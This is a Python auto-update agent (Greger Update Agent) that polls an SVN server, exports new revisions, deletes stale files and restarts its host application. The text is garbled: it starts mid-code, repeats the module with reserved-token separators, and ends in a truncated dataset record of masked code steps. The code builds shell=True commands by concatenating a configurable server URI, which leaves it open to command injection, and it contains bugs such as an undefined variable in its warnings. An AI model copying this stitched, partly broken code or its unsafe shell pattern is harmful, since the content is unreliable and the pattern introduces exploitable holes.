GregerDatabase.settings: delayTime = GregerDatabase.settings['guaCheckUpdateDelay'][ 'value'] else: delayTime = 10 self.log.warning('Settings not defined! (using default=10)') self.log.info('Waiting ' + str(delayTime) + 's...') self.stopExecution.wait(delayTime) self.log.info('Greger Update Agent (GUA) execution stopped!') <\|reserved_special_token_1\|> <\|reserved_special_token_0\|> class GregerUpdateAgent(Thread): """ Main class which holds the main sequence of the application. """ def __init__(self, ready=None): """ Initialize the main class """ Thread.__init__(self) self.ready = ready self.logPath = 'root.GUA' self.log = logging.getLogger(self.logPath) localLog = logging.getLogger(self.logPath + '.__init__') localLog.debug('Initiating Greger Update Agent (GUA)...') self.stopExecution = Event() self._location = os.path.abspath(__file__) self._location = self._location[:-15] localLog.debug('Local path: ' + self._location) localLog.debug('Getting configuration parameters from file...') config = getLocalConfig() self.localRevisionRecordPath = config.get('greger_update_agent', 'local_revision_path') localLog.debug('Parameter: (localRevisionRecordPath) ' + self. localRevisionRecordPath) self.log.info('Greger Update Agent (GUA) successfully initiated!') @property def localRevisionRecord(self): """ Get local revision record (.gcm) """ localLog = logging.getLogger(self.logPath + '.localRevisionRecord') localLog.debug('Getting local revision record...') revisionRecordPath = self.localRevisionRecordPath localLog.debug('Attemption to get record from file...') try: with open(revisionRecordPath, 'r') as f: localRecord = f.read() localLog.debug('Local revision record: ' + str(localRecord)) except Exception as e: self.log.warning('Failed to open file! - ' + str(e)) self.localRevisionRecord = 0 localRecord = self.localRevisionRecord return localRecord @localRevisionRecord.setter def localRevisionRecord(self, newRevision): """ Set local revision record (.gcm) """ localLog = logging.getLogger(self.logPath + '.localRevisionRecord') localLog.debug('Setting local revision record (.gcm) to ' + str( newRevision) + '...') revisionRecordPath = self.localRevisionRecordPath localLog.debug('Attemption to write "' + str(newRevision) + '" to file...') with open(revisionRecordPath, 'w') as f: f.write(str(newRevision)) self.log.info('Local revision record set: ' + str(newRevision)) def getSoftwareInfo(self, rev='HEAD'): """ Retrieve information about a revision available on server. """ localLog = logging.getLogger(self.logPath + '.getSoftwareInfo') localLog.debug('Attempting to retrieve software revision info...') if 'guaSWSource' in GregerDatabase.settings: guaSWServerURI = GregerDatabase.settings['guaSWSource']['value'] else: self.log.warning('Setting ' + str(guaSWSource) + ' not defined!') return moduleReturn = {'revision': '', 'revision_SHA': '', 'revision_author': '', 'revision_date': '', 'revision_comment': ''} localLog.debug('Attempting to retrieve info from server... ' + guaSWServerURI) pCmd = 'svn proplist -v -R --revprop -r ' + rev pCmd += ' ' + guaSWServerURI localLog.debug(pCmd) try: p = subprocess.Popen(pCmd, stdout=subprocess.PIPE, shell=True) output, err = p.communicate() outputList = output.splitlines()[1:] outputList = [elem.strip() for elem in outputList] revStr = output.splitlines()[0] revStr = revStr.split()[-1] moduleReturn['revision'] = revStr[:-1] localLog.debug('Revision: ' + revStr[:-1]) shaStr = outputList[outputList.index('git-commit') + 1] moduleReturn['revision_SHA'] = shaStr localLog.debug('Revision SHA: ' + shaStr) authorStr = outputList[outputList.index('svn:author') + 1] moduleReturn['revision_author'] = authorStr localLog.debug('Revision author: ' + authorStr) dateStr = outputList[outputList.index('svn:date') + 1] moduleReturn['revision_date'] = dateStr localLog.debug('Revision date: ' + dateStr) commentStr = outputList[outputList.index('svn:log') + 1].strip() moduleReturn['revision_comment'] = commentStr localLog.debug('Revision Comment: ' + commentStr) if err is not None: localLog.debug('Error message: ' + str(err)) except Exception as e: self.log.error('Oops! Something went wrong - ' + str(e)) return moduleReturn def updateSoftware(self, swRev='HEAD'): """ Get and updating software from server """ localLog = logging.getLogger(self.logPath + '.updateSoftware') localLog.debug('Getting software revision ' + str(swRev) + ' from server and updating local client...') localLog.debug('Constructing target path for new software...') targetRoot = self._location targetDir = 'gcm' targetPath = os.path.join(targetRoot, targetDir) localLog.debug('Target path: ' + targetPath) localLog.debug('Retrieving relevant parameters from server...') if 'guaSWSource' in GregerDatabase.settings: guaSWServerURI = GregerDatabase.settings['guaSWSource']['value'] localLog.debug('Parameter: (guaSWSource) ' + guaSWServerURI) else: self.log.warning('Setting ' + str(guaSWSource) + ' not defined!') return localLog.debug('Getting software files from server...') pCmd = 'svn export --force -r ' + str(swRev) pCmd += ' ' + guaSWServerURI pCmd += ' ' + targetPath localLog.debug(pCmd) try: p = subprocess.Popen(pCmd, stdout=subprocess.PIPE, shell=True) output, err = p.communicate() if err is not None: self.log.warning('Error message: ' + str(err)) else: self.log.info('Download successful!') for line in output.splitlines(): self.log.info(line) except Exception as e: self.log.error('Oops! Something went wrong - ' + str(e)) localLog.debug('Reading downloaded revision from "' + output. splitlines()[-1] + '"...') revText = output.splitlines()[-1].split()[-1][:-1] localLog.debug('Downloaded Revision: ' + revText) self.localRevisionRecord = revText localLog.debug('Listing downloaded files...') downloadedFiles = [] for row in output.splitlines()[:-1]: file = os.path.join(targetRoot, [t.strip() for t in row.split()][1] ) downloadedFiles.append(file) localLog.debug('File: ' + file) self.log.debug('Getting all files in local directory (after update)...' ) allFiles = [] for r, d, f in os.walk(targetPath): for file in f: allFiles.append(os.path.join(r, file)) localLog.debug('File: ' + allFiles[-1]) for dir in d: allFiles.append(os.path.join(r, dir)) localLog.debug('Dir: ' + allFiles[-1]) self.log.info( 'Identifying old files to remove (<new_files> - <all_files>)...') diffFiles = list(set(allFiles) - set(downloadedFiles)) for file in diffFiles: self.log.info('Removing: ' + file) try: if os.path.isfile(file): os.unlink(file) elif os.path.isdir(file): shutil.rmtree(file) except Exception as e: self.log.warning('Oops! Something went wrong! - ' + str(e)) self.log.debug('Re-getting all files in local directory...') allFiles = [] for r, d, f in os.walk(targetPath): for file in f: allFiles.append(os.path.join(r, file)) self.log.debug('File: ' + os.path.join(r, file)) for dir in d: allFiles.append(os.path.join(r, dir)) self.log.debug('Dir: ' + os.path.join(r, file)) def run(self): """ Run Greger Update Agent. """ localLog = logging.getLogger(self.logPath + '.run') self.log.info('Starting Greger Update Agent (GUA)...') localLog.debug('Wait for Greger Client Module to start...') self.ready.wait() allThreads = {} for thr in enumerate(): localLog.debug(thr.name + ' ' + thr.__class__.__name__ + ' active!' ) allThreads.update({thr.__class__.__name__: thr}) if thr.__class__.__name__ == 'GregerClientModule': localLog.debug('Greger Client Module thread found! ' + allThreads['GregerClientModule'].name) loopCount = 0 while not self.stopExecution.is_set(): loopCount += 1 localLog.debug('Checking for updates (' + str(loopCount) + ')...') localLog.debug('Getting local revision record...') localRevision = self.localRevisionRecord localLog.debug('Getting latest software info...') softwareInfo = self.getSoftwareInfo() self.log.info('Revision check done! (' + str(localRevision) + ')') if int(localRevision) == int(softwareInfo['revision']): self.log.info('No new revision found.') else: self.log.info('New revision found!') localLog.debug('Attempting to update software...') self.updateSoftware() localLog.debug( 'Attempting to update server with software info...') allThreads['GregerDatabase'].update('about', softwareInfo) self.log.info( 'Attempting to stop all exection before restarting...') allThreads['GregerClientModule'].stopAll(GUA=True) self.log.info('Attemption to restart application...') restart_program() if 'guaCheckUpdateDelay' in GregerDatabase.settings: delayTime = GregerDatabase.settings['guaCheckUpdateDelay'][ 'value'] else: delayTime = 10 self.log.warning('Settings not defined! (using default=10)') self.log.info('Waiting ' + str(delayTime) + 's...') self.stopExecution.wait(delayTime) self.log.info('Greger Update Agent (GUA) execution stopped!') <\|reserved_special_token_1\|> #!/usr/bin/env python # -- coding: utf-8 -- """ Greger Update Agent (GUA) module for the Greger Client Module """ __author__ = "Eric Sandbling" __license__ = 'MIT' __status__ = 'Development' # System modules import os, sys import shutil import logging import subprocess from threading import Event from threading import Thread from threading import enumerate # Local Modules from common import getLocalConfig from common import restart_program from gdb import GregerDatabase # from gcm import GregerClientModule class GregerUpdateAgent(Thread): """ Main class which holds the main sequence of the application. """ def __init__(self, ready=None): ''' Initialize the main class ''' Thread.__init__(self) self.ready = ready # Setup logging self.logPath = "root.GUA" self.log = logging.getLogger(self.logPath) localLog = logging.getLogger(self.logPath + ".__init__") localLog.debug("Initiating Greger Update Agent (GUA)...") # Stop execution handler self.stopExecution = Event() # Get local path self._location = os.path.abspath(__file__) self._location = self._location[:-15] # Trim gcm/__main__.py from path to get at location of application localLog.debug("Local path: " + self._location) # Get Local Configuration Parameters localLog.debug("Getting configuration parameters from file...") config = getLocalConfig() # Locally relevant parameters self.localRevisionRecordPath = config.get("greger_update_agent", "local_revision_path") localLog.debug("Parameter: (localRevisionRecordPath) " + self.localRevisionRecordPath) self.log.info("Greger Update Agent (GUA) successfully initiated!") @property def localRevisionRecord(self): ''' Get local revision record (.gcm) ''' # Logging localLog = logging.getLogger(self.logPath + ".localRevisionRecord") localLog.debug("Getting local revision record...") # Local parameters # revisionRecordPath = os.path.join(self._location, ".gcm") revisionRecordPath = self.localRevisionRecordPath localLog.debug("Attemption to get record from file...") try: with open(revisionRecordPath,"r") as f: localRecord = f.read() localLog.debug("Local revision record: " + str(localRecord)) except Exception as e: self.log.warning("Failed to open file! - " + str(e)) self.localRevisionRecord = 0 localRecord = self.localRevisionRecord return localRecord @localRevisionRecord.setter def localRevisionRecord(self, newRevision): ''' Set local revision record (.gcm) ''' # Logging localLog = logging.getLogger(self.logPath + ".localRevisionRecord") localLog.debug("Setting local revision record (.gcm) to " + str(newRevision) + "...") # Local parameters # revisionRecordPath = os.path.join(self._location, ".gcm") revisionRecordPath = self.localRevisionRecordPath localLog.debug("Attemption to write \"" + str(newRevision) + "\" to file...") with open(revisionRecordPath,"w") as f: f.write(str(newRevision)) self.log.info("Local revision record set: " + str(newRevision)) def getSoftwareInfo(self, rev='HEAD'): ''' Retrieve information about a revision available on server. ''' # Logging localLog = logging.getLogger(self.logPath + ".getSoftwareInfo") localLog.debug("Attempting to retrieve software revision info...") # Locally relevant parameters if 'guaSWSource' in GregerDatabase.settings: guaSWServerURI = GregerDatabase.settings['guaSWSource']['value'] else: self.log.warning("Setting " + str(guaSWSource) + " not defined!") return moduleReturn = { 'revision': "", 'revision_SHA' : "", 'revision_author' : "", 'revision_date' : "", 'revision_comment' : "" } # Get server revision info localLog.debug("Attempting to retrieve info from server... " + guaSWServerURI) pCmd = "svn proplist -v -R --revprop -r " + rev pCmd += " " + guaSWServerURI localLog.debug(pCmd) try: p = subprocess.Popen(pCmd, stdout=subprocess.PIPE, shell=True) (output, err) = p.communicate() # Create list of output and remove extra white spaces outputList = output.splitlines()[1:] outputList = [elem.strip() for elem in outputList] # Get revision from output revStr = output.splitlines()[0] revStr = revStr.split()[-1] moduleReturn['revision'] = revStr[:-1] localLog.debug("Revision: " + revStr[:-1]) # Get SHA shaStr = outputList[outputList.index('git-commit')+1] moduleReturn['revision_SHA'] = shaStr localLog.debug("Revision SHA: " + shaStr) # Get revision author authorStr = outputList[outputList.index('svn:author')+1] moduleReturn['revision_author'] = authorStr localLog.debug("Revision author: " + authorStr) # Get revision date dateStr = outputList[outputList.index('svn:date')+1] moduleReturn['revision_date'] = dateStr localLog.debug("Revision date: " + dateStr) # Get revision comment commentStr = outputList[outputList.index('svn:log')+1].strip() moduleReturn['revision_comment'] = commentStr localLog.debug("Revision Comment: " + commentStr) if err is not None: localLog.debug("Error message: " + str(err)) except Exception as e: self.log.error("Oops! Something went wrong - " + str(e)) return moduleReturn def updateSoftware(self, swRev='HEAD'): ''' Get and updating software from server ''' # Logging localLog = logging.getLogger(self.logPath + ".updateSoftware") localLog.debug("Getting software revision " + str(swRev) + " from server and updating local client...") # Locally relevant parameters localLog.debug("Constructing target path for new software...") targetRoot = self._location targetDir = "gcm" targetPath = os.path.join(targetRoot, targetDir) localLog.debug("Target path: " + targetPath) localLog.debug("Retrieving relevant parameters from server...") if 'guaSWSource' in GregerDatabase.settings: guaSWServerURI = GregerDatabase.settings['guaSWSource']['value'] localLog.debug("Parameter: (guaSWSource) " + guaSWServerURI) else: self.log.warning("Setting " + str(guaSWSource) + " not defined!") return # Get software files from server localLog.debug("Getting software files from server...") # Compile download command pCmd = "svn export --force -r " + str(swRev) pCmd += " " + guaSWServerURI pCmd += " " + targetPath localLog.debug(pCmd) # Execute command try: p = subprocess.Popen(pCmd, stdout=subprocess.PIPE, shell=True) (output, err) = p.communicate() if err is not None: self.log.warning("Error message: " + str(err)) else: self.log.info("Download successful!") # Print output for line in output.splitlines(): self.log.info(line) except Exception as e: self.log.error("Oops! Something went wrong - " + str(e)) # Read revision text localLog.debug("Reading downloaded revision from \"" + output.splitlines()[-1] + "\"...") revText = output.splitlines()[-1].split()[-1][:-1] localLog.debug("Downloaded Revision: " + revText) # Update local revision record self.localRevisionRecord = revText # Get downloaded files text localLog.debug("Listing downloaded files...") downloadedFiles = [] for row in output.splitlines()[:-1]: file = os.path.join(targetRoot, [t.strip() for t in row.split()][1]) downloadedFiles.append(file) localLog.debug("File: " + file) # List files in directory self.log.debug("Getting all files in local directory (after update)...") allFiles = [] # r=root, d=directories, f = files for r, d, f in os.walk(targetPath): for file in f: # allFiles.append(os.path.abspath(file)) allFiles.append(os.path.join(r, file)) localLog.debug("File: " + allFiles[-1]) # localLog.debug("File: " + os.path.join(r, file)) for dir in d: # allFiles.append(os.path.abspath(dir)) allFiles.append(os.path.join(r, dir)) localLog.debug("Dir: " + allFiles[-1]) # localLog.debug("Dir: " + os.path.join(r, dir)) self.log.info("Identifying old files to remove (<new_files> - <all_files>)...") diffFiles = list(set(allFiles) - set(downloadedFiles)) for file in diffFiles: self.log.info("Removing: " + file) try: if os.path.isfile(file): os.unlink(file) elif os.path.isdir(file): shutil.rmtree(file) except Exception as e: self.log.warning("Oops! Something went wrong! - " + str(e)) # List files in directory self.log.debug("Re-getting all files in local directory...") allFiles = [] # r=root, d=directories, f = files for r, d, f in os.walk(targetPath): for file in f: allFiles.append(os.path.join(r, file)) self.log.debug("File: " + os.path.join(r, file)) for dir in d: allFiles.append(os.path.join(r, dir)) self.log.debug("Dir: " + os.path.join(r, file)) def run(self): ''' Run Greger Update Agent. ''' # Logging localLog = logging.getLogger(self.logPath + ".run") self.log.info("Starting Greger Update Agent (GUA)...") # Wait for Greger Client Module to start... localLog.debug("Wait for Greger Client Module to start...") self.ready.wait() # Get all active threads! allThreads = {} for thr in enumerate(): localLog.debug(thr.name + " " + thr.__class__.__name__ +" active!") allThreads.update({thr.__class__.__name__ : thr}) if thr.__class__.__name__ == "GregerClientModule": localLog.debug("Greger Client Module thread found! " + allThreads['GregerClientModule'].name) # Start checking for updates loopCount = 0 while not self.stopExecution.is_set(): loopCount += 1 localLog.debug("Checking for updates (" + str(loopCount) + ")...") # Get local revision record localLog.debug("Getting local revision record...") localRevision = self.localRevisionRecord # Get server revision... localLog.debug("Getting latest software info...") softwareInfo = self.getSoftwareInfo() self.log.info("Revision check done! (" + str(localRevision) + ")") if int(localRevision) == int(softwareInfo['revision']): self.log.info("No new revision found.") else: self.log.info("New revision found!") # Do update!! localLog.debug("Attempting to update software...") self.updateSoftware() # Update server with updated software localLog.debug("Attempting to update server with software info...") allThreads['GregerDatabase'].update('about', softwareInfo) # Tell GCM to stop all treads (except GUA)... self.log.info("Attempting to stop all exection before restarting...") allThreads['GregerClientModule'].stopAll(GUA=True) # Restart Application self.log.info("Attemption to restart application...") restart_program() if 'guaCheckUpdateDelay' in GregerDatabase.settings: delayTime = GregerDatabase.settings['guaCheckUpdateDelay']['value'] else: delayTime = 10 self.log.warning("Settings not defined! (using default=10)") # Wait update delay self.log.info("Waiting " + str(delayTime) + "s...") self.stopExecution.wait(delayTime) self.log.info("Greger Update Agent (GUA) execution stopped!")	flexible	{ "blob_id": "a9b2a4d4924dcdd6e146ea346e71bf42c0259846", "index": 593, "step-1": "<mask token>\n\n\nclass GregerUpdateAgent(Thread):\n <mask token>\n <mask token>\n\n @property\n def localRevisionRecord(self):\n \"\"\"\n Get local revision record (.gcm)\n \"\"\"\n localLog = logging.getLogger(self.logPath + '.localRevisionRecord')\n localLog.debug('Getting local revision record...')\n revisionRecordPath = self.localRevisionRecordPath\n localLog.debug('Attemption to get record from file...')\n try:\n with open(revisionRecordPath, 'r') as f:\n localRecord = f.read()\n localLog.debug('Local revision record: ' + str(localRecord))\n except Exception as e:\n self.log.warning('Failed to open file! - ' + str(e))\n self.localRevisionRecord = 0\n localRecord = self.localRevisionRecord\n return localRecord\n <mask token>\n\n def getSoftwareInfo(self, rev='HEAD'):\n \"\"\"\n Retrieve information about a revision available on server.\n \"\"\"\n localLog = logging.getLogger(self.logPath + '.getSoftwareInfo')\n localLog.debug('Attempting to retrieve software revision info...')\n if 'guaSWSource' in GregerDatabase.settings:\n guaSWServerURI = GregerDatabase.settings['guaSWSource']['value']\n else:\n self.log.warning('Setting ' + str(guaSWSource) + ' not defined!')\n return\n moduleReturn = {'revision': '', 'revision_SHA': '',\n 'revision_author': '', 'revision_date': '', 'revision_comment': ''}\n localLog.debug('Attempting to retrieve info from server... ' +\n guaSWServerURI)\n pCmd = 'svn proplist -v -R --revprop -r ' + rev\n pCmd += ' ' + guaSWServerURI\n localLog.debug(pCmd)\n try:\n p = subprocess.Popen(pCmd, stdout=subprocess.PIPE, shell=True)\n output, err = p.communicate()\n outputList = output.splitlines()[1:]\n outputList = [elem.strip() for elem in outputList]\n revStr = output.splitlines()[0]\n revStr = revStr.split()[-1]\n moduleReturn['revision'] = revStr[:-1]\n localLog.debug('Revision: ' + revStr[:-1])\n shaStr = outputList[outputList.index('git-commit') + 1]\n moduleReturn['revision_SHA'] = shaStr\n localLog.debug('Revision SHA: ' + shaStr)\n authorStr = outputList[outputList.index('svn:author') + 1]\n moduleReturn['revision_author'] = authorStr\n localLog.debug('Revision author: ' + authorStr)\n dateStr = outputList[outputList.index('svn:date') + 1]\n moduleReturn['revision_date'] = dateStr\n localLog.debug('Revision date: ' + dateStr)\n commentStr = outputList[outputList.index('svn:log') + 1].strip()\n moduleReturn['revision_comment'] = commentStr\n localLog.debug('Revision Comment: ' + commentStr)\n if err is not None:\n localLog.debug('Error message: ' + str(err))\n except Exception as e:\n self.log.error('Oops! Something went wrong - ' + str(e))\n return moduleReturn\n\n def updateSoftware(self, swRev='HEAD'):\n \"\"\"\n Get and updating software from server\n \"\"\"\n localLog = logging.getLogger(self.logPath + '.updateSoftware')\n localLog.debug('Getting software revision ' + str(swRev) +\n ' from server and updating local client...')\n localLog.debug('Constructing target path for new software...')\n targetRoot = self._location\n targetDir = 'gcm'\n targetPath = os.path.join(targetRoot, targetDir)\n localLog.debug('Target path: ' + targetPath)\n localLog.debug('Retrieving relevant parameters from server...')\n if 'guaSWSource' in GregerDatabase.settings:\n guaSWServerURI = GregerDatabase.settings['guaSWSource']['value']\n localLog.debug('Parameter: (guaSWSource) ' + guaSWServerURI)\n else:\n self.log.warning('Setting ' + str(guaSWSource) + ' not defined!')\n return\n localLog.debug('Getting software files from server...')\n pCmd = 'svn export --force -r ' + str(swRev)\n pCmd += ' ' + guaSWServerURI\n pCmd += ' ' + targetPath\n localLog.debug(pCmd)\n try:\n p = subprocess.Popen(pCmd, stdout=subprocess.PIPE, shell=True)\n output, err = p.communicate()\n if err is not None:\n self.log.warning('Error message: ' + str(err))\n else:\n self.log.info('Download successful!')\n for line in output.splitlines():\n self.log.info(line)\n except Exception as e:\n self.log.error('Oops! Something went wrong - ' + str(e))\n localLog.debug('Reading downloaded revision from \"' + output.\n splitlines()[-1] + '\"...')\n revText = output.splitlines()[-1].split()[-1][:-1]\n localLog.debug('Downloaded Revision: ' + revText)\n self.localRevisionRecord = revText\n localLog.debug('Listing downloaded files...')\n downloadedFiles = []\n for row in output.splitlines()[:-1]:\n file = os.path.join(targetRoot, [t.strip() for t in row.split()][1]\n )\n downloadedFiles.append(file)\n localLog.debug('File: ' + file)\n self.log.debug('Getting all files in local directory (after update)...'\n )\n allFiles = []\n for r, d, f in os.walk(targetPath):\n for file in f:\n allFiles.append(os.path.join(r, file))\n localLog.debug('File: ' + allFiles[-1])\n for dir in d:\n allFiles.append(os.path.join(r, dir))\n localLog.debug('Dir: ' + allFiles[-1])\n self.log.info(\n 'Identifying old files to remove (<new_files> - <all_files>)...')\n diffFiles = list(set(allFiles) - set(downloadedFiles))\n for file in diffFiles:\n self.log.info('Removing: ' + file)\n try:\n if os.path.isfile(file):\n os.unlink(file)\n elif os.path.isdir(file):\n shutil.rmtree(file)\n except Exception as e:\n self.log.warning('Oops! Something went wrong! - ' + str(e))\n self.log.debug('Re-getting all files in local directory...')\n allFiles = []\n for r, d, f in os.walk(targetPath):\n for file in f:\n allFiles.append(os.path.join(r, file))\n self.log.debug('File: ' + os.path.join(r, file))\n for dir in d:\n allFiles.append(os.path.join(r, dir))\n self.log.debug('Dir: ' + os.path.join(r, file))\n\n def run(self):\n \"\"\"\n Run Greger Update Agent.\n \"\"\"\n localLog = logging.getLogger(self.logPath + '.run')\n self.log.info('Starting Greger Update Agent (GUA)...')\n localLog.debug('Wait for Greger Client Module to start...')\n self.ready.wait()\n allThreads = {}\n for thr in enumerate():\n localLog.debug(thr.name + ' ' + thr.__class__.__name__ + ' active!'\n )\n allThreads.update({thr.__class__.__name__: thr})\n if thr.__class__.__name__ == 'GregerClientModule':\n localLog.debug('Greger Client Module thread found! ' +\n allThreads['GregerClientModule'].name)\n loopCount = 0\n while not self.stopExecution.is_set():\n loopCount += 1\n localLog.debug('Checking for updates (' + str(loopCount) + ')...')\n localLog.debug('Getting local revision record...')\n localRevision = self.localRevisionRecord\n localLog.debug('Getting latest software info...')\n softwareInfo = self.getSoftwareInfo()\n self.log.info('Revision check done! (' + str(localRevision) + ')')\n if int(localRevision) == int(softwareInfo['revision']):\n self.log.info('No new revision found.')\n else:\n self.log.info('New revision found!')\n localLog.debug('Attempting to update software...')\n self.updateSoftware()\n localLog.debug(\n 'Attempting to update server with software info...')\n allThreads['GregerDatabase'].update('about', softwareInfo)\n self.log.info(\n 'Attempting to stop all exection before restarting...')\n allThreads['GregerClientModule'].stopAll(GUA=True)\n self.log.info('Attemption to restart application...')\n restart_program()\n if 'guaCheckUpdateDelay' in GregerDatabase.settings:\n delayTime = GregerDatabase.settings['guaCheckUpdateDelay'][\n 'value']\n else:\n delayTime = 10\n self.log.warning('Settings not defined! (using default=10)')\n self.log.info('Waiting ' + str(delayTime) + 's...')\n self.stopExecution.wait(delayTime)\n self.log.info('Greger Update Agent (GUA) execution stopped!')\n", "step-2": "<mask token>\n\n\nclass GregerUpdateAgent(Thread):\n <mask token>\n <mask token>\n\n @property\n def localRevisionRecord(self):\n \"\"\"\n Get local revision record (.gcm)\n \"\"\"\n localLog = logging.getLogger(self.logPath + '.localRevisionRecord')\n localLog.debug('Getting local revision record...')\n revisionRecordPath = self.localRevisionRecordPath\n localLog.debug('Attemption to get record from file...')\n try:\n with open(revisionRecordPath, 'r') as f:\n localRecord = f.read()\n localLog.debug('Local revision record: ' + str(localRecord))\n except Exception as e:\n self.log.warning('Failed to open file! - ' + str(e))\n self.localRevisionRecord = 0\n localRecord = self.localRevisionRecord\n return localRecord\n\n @localRevisionRecord.setter\n def localRevisionRecord(self, newRevision):\n \"\"\"\n Set local revision record (.gcm)\n \"\"\"\n localLog = logging.getLogger(self.logPath + '.localRevisionRecord')\n localLog.debug('Setting local revision record (.gcm) to ' + str(\n newRevision) + '...')\n revisionRecordPath = self.localRevisionRecordPath\n localLog.debug('Attemption to write \"' + str(newRevision) +\n '\" to file...')\n with open(revisionRecordPath, 'w') as f:\n f.write(str(newRevision))\n self.log.info('Local revision record set: ' + str(newRevision))\n\n def getSoftwareInfo(self, rev='HEAD'):\n \"\"\"\n Retrieve information about a revision available on server.\n \"\"\"\n localLog = logging.getLogger(self.logPath + '.getSoftwareInfo')\n localLog.debug('Attempting to retrieve software revision info...')\n if 'guaSWSource' in GregerDatabase.settings:\n guaSWServerURI = GregerDatabase.settings['guaSWSource']['value']\n else:\n self.log.warning('Setting ' + str(guaSWSource) + ' not defined!')\n return\n moduleReturn = {'revision': '', 'revision_SHA': '',\n 'revision_author': '', 'revision_date': '', 'revision_comment': ''}\n localLog.debug('Attempting to retrieve info from server... ' +\n guaSWServerURI)\n pCmd = 'svn proplist -v -R --revprop -r ' + rev\n pCmd += ' ' + guaSWServerURI\n localLog.debug(pCmd)\n try:\n p = subprocess.Popen(pCmd, stdout=subprocess.PIPE, shell=True)\n output, err = p.communicate()\n outputList = output.splitlines()[1:]\n outputList = [elem.strip() for elem in outputList]\n revStr = output.splitlines()[0]\n revStr = revStr.split()[-1]\n moduleReturn['revision'] = revStr[:-1]\n localLog.debug('Revision: ' + revStr[:-1])\n shaStr = outputList[outputList.index('git-commit') + 1]\n moduleReturn['revision_SHA'] = shaStr\n localLog.debug('Revision SHA: ' + shaStr)\n authorStr = outputList[outputList.index('svn:author') + 1]\n moduleReturn['revision_author'] = authorStr\n localLog.debug('Revision author: ' + authorStr)\n dateStr = outputList[outputList.index('svn:date') + 1]\n moduleReturn['revision_date'] = dateStr\n localLog.debug('Revision date: ' + dateStr)\n commentStr = outputList[outputList.index('svn:log') + 1].strip()\n moduleReturn['revision_comment'] = commentStr\n localLog.debug('Revision Comment: ' + commentStr)\n if err is not None:\n localLog.debug('Error message: ' + str(err))\n except Exception as e:\n self.log.error('Oops! Something went wrong - ' + str(e))\n return moduleReturn\n\n def updateSoftware(self, swRev='HEAD'):\n \"\"\"\n Get and updating software from server\n \"\"\"\n localLog = logging.getLogger(self.logPath + '.updateSoftware')\n localLog.debug('Getting software revision ' + str(swRev) +\n ' from server and updating local client...')\n localLog.debug('Constructing target path for new software...')\n targetRoot = self._location\n targetDir = 'gcm'\n targetPath = os.path.join(targetRoot, targetDir)\n localLog.debug('Target path: ' + targetPath)\n localLog.debug('Retrieving relevant parameters from server...')\n if 'guaSWSource' in GregerDatabase.settings:\n guaSWServerURI = GregerDatabase.settings['guaSWSource']['value']\n localLog.debug('Parameter: (guaSWSource) ' + guaSWServerURI)\n else:\n self.log.warning('Setting ' + str(guaSWSource) + ' not defined!')\n return\n localLog.debug('Getting software files from server...')\n pCmd = 'svn export --force -r ' + str(swRev)\n pCmd += ' ' + guaSWServerURI\n pCmd += ' ' + targetPath\n localLog.debug(pCmd)\n try:\n p = subprocess.Popen(pCmd, stdout=subprocess.PIPE, shell=True)\n output, err = p.communicate()\n if err is not None:\n self.log.warning('Error message: ' + str(err))\n else:\n self.log.info('Download successful!')\n for line in output.splitlines():\n self.log.info(line)\n except Exception as e:\n self.log.error('Oops! Something went wrong - ' + str(e))\n localLog.debug('Reading downloaded revision from \"' + output.\n splitlines()[-1] + '\"...')\n revText = output.splitlines()[-1].split()[-1][:-1]\n localLog.debug('Downloaded Revision: ' + revText)\n self.localRevisionRecord = revText\n localLog.debug('Listing downloaded files...')\n downloadedFiles = []\n for row in output.splitlines()[:-1]:\n file = os.path.join(targetRoot, [t.strip() for t in row.split()][1]\n )\n downloadedFiles.append(file)\n localLog.debug('File: ' + file)\n self.log.debug('Getting all files in local directory (after update)...'\n )\n allFiles = []\n for r, d, f in os.walk(targetPath):\n for file in f:\n allFiles.append(os.path.join(r, file))\n localLog.debug('File: ' + allFiles[-1])\n for dir in d:\n allFiles.append(os.path.join(r, dir))\n localLog.debug('Dir: ' + allFiles[-1])\n self.log.info(\n 'Identifying old files to remove (<new_files> - <all_files>)...')\n diffFiles = list(set(allFiles) - set(downloadedFiles))\n for file in diffFiles:\n self.log.info('Removing: ' + file)\n try:\n if os.path.isfile(file):\n os.unlink(file)\n elif os.path.isdir(file):\n shutil.rmtree(file)\n except Exception as e:\n self.log.warning('Oops! Something went wrong! - ' + str(e))\n self.log.debug('Re-getting all files in local directory...')\n allFiles = []\n for r, d, f in os.walk(targetPath):\n for file in f:\n allFiles.append(os.path.join(r, file))\n self.log.debug('File: ' + os.path.join(r, file))\n for dir in d:\n allFiles.append(os.path.join(r, dir))\n self.log.debug('Dir: ' + os.path.join(r, file))\n\n def run(self):\n \"\"\"\n Run Greger Update Agent.\n \"\"\"\n localLog = logging.getLogger(self.logPath + '.run')\n self.log.info('Starting Greger Update Agent (GUA)...')\n localLog.debug('Wait for Greger Client Module to start...')\n self.ready.wait()\n allThreads = {}\n for thr in enumerate():\n localLog.debug(thr.name + ' ' + thr.__class__.__name__ + ' active!'\n )\n allThreads.update({thr.__class__.__name__: thr})\n if thr.__class__.__name__ == 'GregerClientModule':\n localLog.debug('Greger Client Module thread found! ' +\n allThreads['GregerClientModule'].name)\n loopCount = 0\n while not self.stopExecution.is_set():\n loopCount += 1\n localLog.debug('Checking for updates (' + str(loopCount) + ')...')\n localLog.debug('Getting local revision record...')\n localRevision = self.localRevisionRecord\n localLog.debug('Getting latest software info...')\n softwareInfo = self.getSoftwareInfo()\n self.log.info('Revision check done! (' + str(localRevision) + ')')\n if int(localRevision) == int(softwareInfo['revision']):\n self.log.info('No new revision found.')\n else:\n self.log.info('New revision found!')\n localLog.debug('Attempting to update software...')\n self.updateSoftware()\n localLog.debug(\n 'Attempting to update server with software info...')\n allThreads['GregerDatabase'].update('about', softwareInfo)\n self.log.info(\n 'Attempting to stop all exection before restarting...')\n allThreads['GregerClientModule'].stopAll(GUA=True)\n self.log.info('Attemption to restart application...')\n restart_program()\n if 'guaCheckUpdateDelay' in GregerDatabase.settings:\n delayTime = GregerDatabase.settings['guaCheckUpdateDelay'][\n 'value']\n else:\n delayTime = 10\n self.log.warning('Settings not defined! (using default=10)')\n self.log.info('Waiting ' + str(delayTime) + 's...')\n self.stopExecution.wait(delayTime)\n self.log.info('Greger Update Agent (GUA) execution stopped!')\n", "step-3": "<mask token>\n\n\nclass GregerUpdateAgent(Thread):\n <mask token>\n\n def __init__(self, ready=None):\n \"\"\"\n Initialize the main class\n \"\"\"\n Thread.__init__(self)\n self.ready = ready\n self.logPath = 'root.GUA'\n self.log = logging.getLogger(self.logPath)\n localLog = logging.getLogger(self.logPath + '.__init__')\n 